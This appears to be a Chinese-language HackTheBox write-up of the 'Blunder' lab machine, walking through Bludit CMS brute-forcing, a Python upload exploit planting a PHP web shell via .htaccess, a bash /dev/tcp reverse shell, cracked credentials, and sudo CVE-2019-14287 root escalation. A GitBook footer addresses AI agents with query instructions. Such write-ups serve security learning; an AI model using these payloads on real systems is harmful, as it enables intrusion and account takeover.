> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**技能：**

* Bludit CMS 利用
* 绕过 IP 封锁（X-Forwarded-For 请求头）
* 目录遍历图片文件上传（玩转 .htaccess）
* 滥用 sudo 权限（CVE-2019-14287）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/b12755c2407d15bd4f88e40e2153e78e43082aad" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e94932fa7dda042fd8020358f9383a3e21c71e49" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/0d0d985a047c28a6749a32faae90ba243a7834e2" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板（80）

<figure><img src="/files/2d354a3f1c0d071eff49891dc1df30072f43a006" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/155e6cf2f53e1ea056bf45441d96ee722d31dd01" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/31f0bb520f8b24665d3485b673a53ca8ccd0b13c" alt=""><figcaption></figcaption></figure>

## 80 端口（Blunder）：

<figure><img src="/files/7bb58d487d93a3dd7ff78e03f30a8ebfa713f81a" alt=""><figcaption></figcaption></figure>

**目录扫描**

使用 **Gobuster** 以查找有趣的目录：

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* 结果：发现了 **/admin** 目录。

<figure><img src="/files/664a2e2d7c650e233393cd64711b9932cd7a03ba" alt=""><figcaption></figcaption></figure>

**CMS 识别**

通过访问 **/admin**，检测到 Bludit CMS（版本 **3.9.2**）。

<figure><img src="/files/cc4719a6376e15d67268757db0a0b8b83c8bd87b" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit CMS 利用**

<figure><img src="/files/0af59fb41cbfc23f1783455938a7a0115647cfa9" alt=""><figcaption></figcaption></figure>

**搜索漏洞**

使用 `searchsploit` 以查找已知漏洞：

<figure><img src="/files/60d3856d17f468c6ad03e4eec9010a8f3b3ff314" alt=""><figcaption></figcaption></figure>

#### 检测到漏洞： **CVE-2019-17240**

{% hint style="info" %}
该漏洞利用旨在利用 Bludit 这一 CMS（内容管理系统）平台中暴力破解攻击缓解机制的一个漏洞。该漏洞标识为 **CVE-2019-17240**，允许攻击者绕过 Bludit 3.9.2 及之前版本中实现的暴力破解防护。
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**发现文本文件**

使用 Gobuster 进行进一步研究：

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/6a9cb5b836a8007db805bbb17390fc04f952136d" alt=""><figcaption></figcaption></figure>

内容：识别出的用户： **fergus**.

<figure><img src="/files/fb0104ca5762430be29ca3826382ac00856b5026" alt="" width="375"><figcaption></figcaption></figure>

### 对 Bludit 进行暴力破解

一旦发现用户 **fergus** ，就使用字典发起暴力破解攻击：

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

未找到文件匹配项 **rockyou.txt**.

### **个性化词典**

使用 **Cewl** 以基于该网站生成一个词典：

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/8b9cdcbbeb14b891cb3ddaf1569066a35baecd60" alt="" width="563"><figcaption></figcaption></figure>

使用自定义字典重新发起暴力破解攻击：

<figure><img src="/files/7c0359af62ea7c2a6b95474713c0d8cf8d8a707f" alt=""><figcaption></figcaption></figure>

* 找到的密码： `fergus:RolandDeschain`

<figure><img src="/files/d73a4e5c30fbf1b0478229807c4c870ea598de1e" alt=""><figcaption></figcaption></figure>

## 利用目录遍历图片文件上传：

一旦通过身份验证，该 CMS 就存在一种 **目录遍历** 类型攻击漏洞，允许上传恶意文件。

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
我们可以通过修改 `uuid` 的值来指定下载文件的位置，然后将恶意图片上传到临时文件夹。
{% endhint %}

认证后，可以通过 `searchsploit` 在 `multiple/webapps/48701.txt`下载一个新的利用脚本，其中提供了利用该漏洞的步骤。

<figure><img src="/files/ff8ce8b813cfd67689e888a5480967685bac42d8" alt=""><figcaption></figcaption></figure>

**操作步骤**

<figure><img src="/files/31e4b34f94da36027bfdc021ffe5077b9ea2cb2d" alt=""><figcaption></figcaption></figure>

1. **创建恶意文件** (`evil.png`）包含 PHP 代码：

```bash
<?php
system($_GET['cmd']);
?>
```

2. **修改脚本以适应当前情况** （受害者的 IP 地址、用户名、密码等）。

<figure><img src="/files/5efe8c10a2e6aa2878687b88786bb22d584f200a" alt="" width="563"><figcaption></figcaption></figure>

3. **运行漏洞利用：**

漏洞利用 Python 脚本：

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # 改这里
username = 'fergus'  # 改这里
password = 'RolandDeschain'  # 改这里

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # 创建我

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # 创建我

def login(url,username,password):
    """ 使用提供的管理员凭据登录，认证后抓取 cookie """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"] ).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ 从已认证会话中抓取 CSRF 令牌 """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ 上传执行恶意图片文件中 PHP 所需的文件。Payload 和 .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # 在易受攻击的应用中，这一行会最先出现：
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # 尽管有文件扩展名检查，但这实际上不会阻止我们
        # 上传 .htaccess 文件。
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("正在上传 payload：" + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/1d88b92efcce88acbcf44a397d3c461d0dafa3a6" alt="" width="563"><figcaption></figcaption></figure>

4. **访问恶意文件**：图片下载完成后，直接前往 `/bl-content/tmp/temp/evil.png` 以执行命令。

<figure><img src="/files/5b9ff3847953b99dc98d563f373b3e6186c31a24" alt="" width="552"><figcaption></figcaption></figure>

5. **使用 Netcat 在 443 端口监听**:

```bash
nc -nvlp 443
```

5. **执行反向 shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/05cb41a67753b846ab0d69fe738c94ace929b2f3" alt="" width="563"><figcaption></figcaption></figure>

**终端会话管理** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升

浏览文件后发现一个文件 `users.php` 在 `数据库` 目录，包含用户的哈希凭据 `fergus` 和 `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/351c76d0b92ae0271222133a76ef881aed460cf2" alt=""><figcaption></figcaption></figure>

当使用 CrackStation 尝试破解这些哈希时，它们似乎无法被识别。

<figure><img src="/files/bba28de52ef72d25469fe0a3e710502b60129926" alt=""><figcaption></figcaption></figure>

不过，在网站根目录下发现了一个更新版本的 Bludit，其中包含相同的配置文件，但凭据不同：

<figure><img src="/files/71ad351e0e556de685b3c629cbdd9c2b9676eead" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/1ff2d919f6b1a6eb3f36c8a846cfcc9051ab7a1c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c458502838d42ac6daf62b58fb3e16a771f4a863" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/b3e50b438df8825ae1cac2acbb04377d21ed090c" alt="" width="563"><figcaption></figcaption></figure>

### user.txt 标志：

<figure><img src="/files/deb05a660a475c38d6b6a9d9651190c2ad7c7ea5" alt="" width="563"><figcaption></figcaption></figure>

### 滥用 sudo 权限（CVE-2019-14287）：

在检查 sudo 权限时，我们在 sudoers 文件中发现了一个存在漏洞的配置。使用 `sudo -l` 命令，我们识别出一个权限，允许除 `root` 之外的所有用户使用 `/bin/bash` 命令：

<figure><img src="/files/477039544fa7ee30e16bcf5f774525cf882fc3e2" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

登录。

此漏洞影响 sudo 1.8.27 之前的所有版本。

<figure><img src="/files/139a8a3c9da00ded72247420db8716fd0ff44445" alt="" width="510"><figcaption></figcaption></figure>

在我们的案例中，sudo 版本低于 1.8.27，因此该漏洞可被利用。

```bash
sudo -u#-1 /bin/bash
```

此命令允许你以用户 `-1`的身份打开 shell，对应于用户 `root`.

<figure><img src="/files/8b6eab8f02ec163b3b02820d9982489edfa74696" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/ff6e1d0bbcf31aff7d50a82e1b5f423f33475f95" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/098b4c8a10527e855edbca3fde7a2991885de77b" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
